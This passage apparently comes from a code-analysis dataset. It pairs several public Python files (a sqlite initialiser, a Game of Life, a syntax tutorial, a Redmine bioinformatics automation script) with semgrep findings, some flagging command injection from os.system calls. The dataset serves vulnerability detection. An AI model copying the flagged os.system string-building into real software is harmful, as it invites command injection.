cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_f0fe3d57", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 125, "col": 9, "offset": 2759}, "end": {"line": 125, "col": 30, "offset": 2780}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_308eaccd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 133, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 133, "col": 10, "offset": 2918}, "end": {"line": 133, "col": 31, "offset": 2939}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_a6cdaffe", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 135, "line_end": 135, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 135, "col": 10, "offset": 2988}, "end": {"line": 135, "col": 31, "offset": 3009}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_ebb534f3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 148, "line_end": 148, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 148, "col": 10, "offset": 3311}, "end": {"line": 148, "col": 31, "offset": 3332}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_3596a937", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 166, "line_end": 166, "column_start": 10, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 166, "col": 10, "offset": 3872}, "end": {"line": 166, "col": 31, "offset": 3893}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_54df550a", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 201, "line_end": 201, "column_start": 9, "column_end": 30, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 201, "col": 9, "offset": 4825}, "end": {"line": 201, "col": 30, "offset": 4846}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_0e922a795ec58cd2_5b31c710", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 214, "line_end": 214, "column_start": 10, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 214, "col": 10, "offset": 5318}, "end": {"line": 214, "col": 51, "offset": 5359}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_0e922a795ec58cd2_66d38cb3", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_0e922a795ec58cd2_309c1538", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 225, "line_end": 225, "column_start": 17, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpb8jm_z1l/0e922a795ec58cd2.py", "start": {"line": 225, "col": 17, "offset": 5727}, "end": {"line": 225, "col": 71, "offset": 5781}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. 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2024-11-18T18:05:57.515247+00:00 | 1,468,295,893,000 | c73d3e7066b96575595f2f1a6c248b401b619175 | 2 | {
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} | 2.40625 | stackv2 | __author__ = "Nicole"
# This script should be used to fill the pokemon_caught table for the first time to indicate
# that the pokemon are not caught yet.
import sqlite3
conn = sqlite3.connect('..//database/pokedex.sqlite3')
c = conn.cursor();
c.execute("delete from " + "pokemon_caught")
c.execute("delete from " + " sqlite_sequence where name = 'pokemon_caught'")
for index in range(1, 722):
c.execute("INSERT INTO pokemon_caught VALUES (?,?)", (index, 0))
conn.commit() | 16 | 29.31 | 92 | 8 | 126 | python | [{"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_637da270d87c2137_a6284c8e", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. 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} | 2.875 | stackv2 | # Copyright © 2017 Zandr Martin
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense,
# and/or sell copies of the Software, and to permit persons to whom the
# Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
# IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
# TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
# OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
import os
import random
import signal
import sys
import time
# time spent sleeping between generations
UI_TICK = 0.5
# there are 1/this live cells (on average) at the start of the game.
# higher numbers mean fewer live cells.
INITIAL_DENSITY = 7
class Term:
ESC = '\033['
cols, rows = os.get_terminal_size()
def __init__(self):
self.reset_cursor()
def flush_print(self, text):
sys.stdout.write(text)
sys.stdout.flush()
def esc_print(self, code):
self.flush_print(self.ESC + code)
def clear_screen(self):
self.esc_print('2J')
def reset_cursor(self):
self.position_cursor(1, 1)
def position_cursor(self, x, y):
self.esc_print(f'{y};{x}f')
def fill_cell(self):
self.flush_print('█')
def clear_cell(self):
self.flush_print(' ')
def show_cursor(self):
self.esc_print('?25h')
def hide_cursor(self):
self.esc_print('?25l')
def teardown(self):
self.flush_print('\033c')
class Cell:
registry = {}
def __init__(self, x, y, is_alive=False):
self.x = x
self.y = y
self.is_alive = is_alive
self.next_state = None
Cell.registry[(self.x, self.y)] = self
@property
def neighbors(self):
if not hasattr(self, '_neighbors'):
self._neighbors = []
for x in [self.x - 1, self.x, self.x + 1]:
for y in [self.y - 1, self.y, self.y + 1]:
if not (x == self.x and y == self.y):
try:
self._neighbors.append(self.registry[(x, y)])
except KeyError:
pass
return self._neighbors
@property
def live_neighbors(self):
return [n for n in self.neighbors if n.is_alive]
def breed(self):
if self.next_state is not None:
self.is_alive = self.next_state == 'live'
self.next_state = None
def die(self):
self.next_state = 'die'
def live(self):
self.next_state = 'live'
def create_cells():
Cell.registry = {}
for x in range(1, Term.cols + 1):
for y in range(1, Term.rows + 1):
Cell(x, y, is_alive=random.randint(0, INITIAL_DENSITY) == 1)
def main():
term = Term()
def reset_game(signal, frame):
term.teardown()
term.reset_cursor()
Term.cols, Term.rows = os.get_terminal_size()
term.clear_screen()
create_cells()
signal.signal(signal.SIGWINCH, reset_game)
term.clear_screen()
term.hide_cursor()
create_cells()
# rules:
# live cells:
# 1. 0 or 1 live neighbors: die
# 2. 2 or 3 live neighbors: live
# 3. 4+ live neighbors: die
# dead cells:
# 4. exactly 3 live neighbors: live
try:
while True:
for cell in Cell.registry.values():
term.position_cursor(cell.x, cell.y)
if cell.is_alive:
if len(cell.live_neighbors) in (2, 3):
cell.live()
else:
cell.die()
term.fill_cell()
else:
if len(cell.live_neighbors) == 3:
cell.live()
term.clear_cell()
time.sleep(UI_TICK)
for cell in Cell.registry.values():
cell.breed()
except KeyboardInterrupt:
term.show_cursor()
term.teardown()
if __name__ == '__main__':
main()
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] | life.py | /life.py | deathlyfrantic/games-of-life | BSD-2-Clause | |
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} | 3.75 | stackv2 | #!/usr/bin/env python3
# Simple types
boolean = True and False
string = 'Hello World!'
integer = 0
complex = 0j
float = 0.0
none = None
print('Simple:', string)
# Sequences
list = [1, 'a', 0.0]
tuple = (1, 'a', 0.0)
dictionary = {
'key1': 'value 1',
'key2': 'value 2'
}
immutable_set = set(['a', 'b'])
for item in list:
# continue
# break
print(item)
# Conditions
if list:
print('Is a list')
elif not list:
print('Is not a list')
else:
print('What else ;-)')
something = '123' if list else '456'
# Function definition
def my_function(name='Mike'):
"""A 'Hello World!' function"""
return 'Hello ' + name
print("Output:", my_function('John'))
# DocString
help(my_function.__doc__)
# Lambda
my_func = lambda name='Mike': 'Hello ' + name
print("Output:", my_func('John'))
# Input/Output
input = input("Input please: ")
print('Output:', input)
# Class
class Parent(object):
value = 0
__private_value = 0
def __init__(self, value = 100):
self.__private_value = value
self.value = value + value
def getInstance(self):
return self
def getPrivateValue(self):
return self.__private_value
parent = Parent(10)
print(dir(parent))
print('Class:', parent.value, parent.getPrivateValue())
# Module
import sys
print('Module Search Path:', sys.path)
from sys import path
print('Module Search Path:', path)
| 76 | 16.75 | 55 | 9 | 398 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_5af65d5b16d6cc72_5dea3b0d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 48, "column_start": 31, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/5af65d5b16d6cc72.py", "start": {"line": 48, "col": 31, "offset": 748}, "end": {"line": 48, "col": 46, "offset": 763}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
""
] | [
"rules.python.lang.maintainability.return-not-in-function"
] | [
"maintainability"
] | [
"MEDIUM"
] | [
"MEDIUM"
] | [
48
] | [
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] | [
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] | [
46
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""
] | [
"`return` only makes sense inside a function"
] | [
5
] | [
""
] | [
""
] | app.py | /deployment/examples/app.py | MikeBild/introduction-python | MIT | |
2024-11-18T18:05:58.858841+00:00 | 1,512,579,339,000 | 6f34cc872c1ab543bca3c9b907be9aba77c80fd5 | 3 | {
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"extension": "py",
"filename": "GeneSippr.py",
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"license_type": "permissive",
"path": "/GeneSippr.py",
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"repo_name": "lowandrew/GeneSippr_Automator",
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"visit_date": "2021-08-23T21:33:35.834778"
} | 2.53125 | stackv2 | from RedmineAPI.Utilities import FileExtension, create_time_log
import shutil
import os
from RedmineAPI.Access import RedmineAccess
from RedmineAPI.Configuration import Setup
from Utilities import CustomKeys, CustomValues
class Automate(object):
def __init__(self, force):
# create a log, can be written to as the process continues
self.timelog = create_time_log(FileExtension.runner_log)
# Key: used to index the value to the config file for setup
# Value: 3 Item Tuple ("default value", ask user" - i.e. True/False, "type of value" - i.e. str, int....)
# A value of None is the default for all parts except for "Ask" which is True
# custom_terms = {CustomKeys.key_name: (CustomValues.value_name, True, str)} # *** can be more than 1 ***
custom_terms = dict()
# Create a RedmineAPI setup object to create/read/write to the config file and get default arguments
setup = Setup(time_log=self.timelog, custom_terms=custom_terms)
setup.set_api_key(force)
# Custom terms saved to the config after getting user input
# self.custom_values = setup.get_custom_term_values()
# *** can be multiple custom values variable, just use the key from above to reference the inputted value ***
# self.your_custom_value_name = self.custom_values[CustomKeys.key_name]
# Default terms saved to the config after getting user input
self.seconds_between_checks = setup.seconds_between_check
self.nas_mnt = setup.nas_mnt
self.redmine_api_key = setup.api_key
# Initialize Redmine wrapper
self.access_redmine = RedmineAccess(self.timelog, self.redmine_api_key)
self.botmsg = '\n\n_I am a bot. This action was performed automatically._' # sets bot message
# Subject name and Status to be searched on Redmine
self.issue_title = 'genesippr' # must be a lower case string to validate properly
self.issue_status = 'New'
def timed_retrieve(self):
"""
Continuously search Redmine in intervals for the inputted period of time,
Log errors to the log file as they occur
"""
import time
while True:
# Get issues matching the issue status and subject
found_issues = self.access_redmine.retrieve_issues(self.issue_status, self.issue_title)
# Respond to the issues in the list 1 at a time
while len(found_issues) > 0:
self.respond_to_issue(found_issues.pop(len(found_issues) - 1))
self.timelog.time_print("Waiting for the next check.")
time.sleep(self.seconds_between_checks)
def respond_to_issue(self, issue):
"""
Run the desired automation process on the inputted issue, if there is an error update the author
:param issue: Specified Redmine issue information
"""
self.timelog.time_print("Found a request to run. Subject: %s. ID: %s" % (issue.subject, str(issue.id)))
self.timelog.time_print("Adding to the list of responded to requests.")
self.access_redmine.log_new_issue(issue)
try:
issue.redmine_msg = "Beginning the process for: %s" % issue.subject
self.access_redmine.update_status_inprogress(issue, self.botmsg)
##########################################################################################
os.makedirs('/mnt/nas/bio_requests/' + str(issue.id))
# Remember the directory we're in.
work_dir = '/mnt/nas/bio_requests/' + str(issue.id)
current_dir = os.getcwd()
des = issue.description.split('\n')
seqids = list()
for item in des:
item = item.upper()
seqids.append(item.rstrip())
f = open(work_dir + '/seqid.txt', 'w')
for seqid in seqids:
f.write(seqid + '\n')
f.close()
os.chdir('/mnt/nas/MiSeq_Backup')
cmd = 'python2 /mnt/nas/MiSeq_Backup/file_extractor.py {}/seqid.txt {}'.format(work_dir, work_dir)
os.system(cmd)
os.chdir(current_dir)
f = open('Sippr.sh')
lines = f.readlines()
f.close()
f = open(work_dir + '/' + str(issue.id) + '.sh', 'w')
for line in lines:
if 'job_%j' in line:
line = line.replace('job', 'biorequest_' + str(issue.id) + '_job')
f.write(line)
f.write('docker run -i -u $(id -u) -v /mnt/nas/bio_requests/8312/newsixteens/targets/:/targets'
' -v {}:/sequences sipprverse geneSipprV2/sipprverse/method.py -s /sequences -t /targets /sequences\n'.format(work_dir))
f.write('cd /mnt/nas/bio_requests/{}\n'.format(str(issue.id)))
f.write('python upload_file.py {}\n'.format(str(issue.id)))
f.write('rm -rf *.fastq* */*fastq* *.fasta RedmineAPI running_logs *json upload_file.py')
f.close()
shutil.copy('upload_file.py', work_dir + '/upload_file.py')
shutil.copytree('RedmineAPI', work_dir + '/RedmineAPI')
# Submit the batch script to slurm.
cmd = 'sbatch {}'.format(work_dir + '/' + str(issue.id) + '.sh')
os.system(cmd)
##########################################################################################
self.completed_response(issue)
except Exception as e:
import traceback
self.timelog.time_print("[Warning] The automation process had a problem, continuing redmine api anyways.")
self.timelog.time_print("[Automation Error Dump]\n" + traceback.format_exc())
# Send response
issue.redmine_msg = "There was a problem with your request. Please create a new issue on" \
" Redmine to re-run it.\n%s" % traceback.format_exc()
# Set it to feedback and assign it back to the author
self.access_redmine.update_issue_to_author(issue, self.botmsg)
def completed_response(self, issue):
"""
Update the issue back to the author once the process has finished
:param issue: Specified Redmine issue the process has been completed on
"""
# Assign the issue back to the Author
self.timelog.time_print("Assigning the issue: %s back to the author." % str(issue.id))
issue.redmine_msg = "Your GeneSippr request has been sent to the OLC Compute Cluster for processing." \
" This issue will be updated once results are available."
# Update author on Redmine
self.access_redmine.update_issue_to_author(issue, self.botmsg)
# Log the completion of the issue including the message sent to the author
self.timelog.time_print("\nMessage to author - %s\n" % issue.redmine_msg)
self.timelog.time_print("Completed Response to issue %s." % str(issue.id))
self.timelog.time_print("The next request will be processed once available")
| 139 | 50.22 | 140 | 21 | 1,557 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_ada93e3c599f09bc_8e98b2e3", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 17, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 83, "col": 17, "offset": 3846}, "end": {"line": 83, "col": 51, "offset": 3880}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_ada93e3c599f09bc_5968388b", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 89, "line_end": 89, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmpb8jm_z1l/ada93e3c599f09bc.py", "start": {"line": 89, "col": 13, "offset": 4143}, "end": {"line": 89, "col": 27, "offset": 4157}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. 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This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": 